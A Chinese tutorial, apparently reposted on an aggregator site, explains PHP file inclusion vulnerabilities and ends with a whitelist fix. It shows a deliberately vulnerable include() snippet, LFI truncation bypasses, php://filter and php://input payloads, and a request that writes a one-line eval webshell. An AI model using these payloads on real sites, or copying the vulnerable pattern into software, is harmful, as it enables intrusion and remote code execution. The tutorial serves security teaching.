微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Web安全之文件包含漏洞

文件包含漏洞

漏洞成因:

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码

例如:

<?PHP
   $filename  = $_GET['filename'];
   include($filename);
?>

没有对接收的$filename变量进行严格的过滤,当用户通过其他漏洞向服务器上传了包含后门代码文件(图片马等),可以结合包含漏洞将图片马中的代码执行,造成getshell

漏洞检测:

白盒(代码审计):

PHP中的文件包含函数:include(),require(),include_once(),require_once

include()和require主要区别是include在包含过程中出错会抛出异常继续执行

require直接退出执行

黑盒:

漏扫工具

公开漏洞

手工看参数值及功能

漏洞分类:

本地包含(LFI):

有限制:

后端强制固定后缀(.html)

PHP%00截断绕过:

条件:magic_quotes_gpc = off PHP版本<5.3.4

例如:filename=../../../shell.txt%00

长度截断:

条件:windows服务器,点号需要长于256;

linux服务器 长于4096

例:filename=shell.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

远程包含(RFI):

有限制:

文件名后加%23 %20 ? 等

PHP伪协议

filter://

读取文件源码:

PHP://filter/read=convert.base64-encode/resource=文件

include.PHP?file=PHP://filter/read=convert.base64-encode/resource=PHPinfo.PHP

base64加密是防止代码乱码

input://

执行PHP代码:

PHP://input+[POST DATA]

http://127.0.0.1/include.php?file=php://input[POST DATA部分]

<?PHP PHPinfo();?>
写入一句话木马:

http://127.0.0.1/include.php?file=php://input[POST DATA部分]

<?fputs(fopen('shell.PHP','w'),'<?PHP @eval($_GET[cmd])?>'); ?>

file读取文件://

http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt

data执行PHP代码://

http://127.0.0.1:8080/include.php?filename=data://text/plain,

<?PHP%20PHPinfo();?>

漏洞修复:

相对于直接关闭远程包含参数开关,彻底切断这个业务相比较。

目前业内最好的修复方案即是设置类似白名单的方法,通过筛选固定文件方法,一方面不必切断这个业务,另一方面又不会被轻易绕过



版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐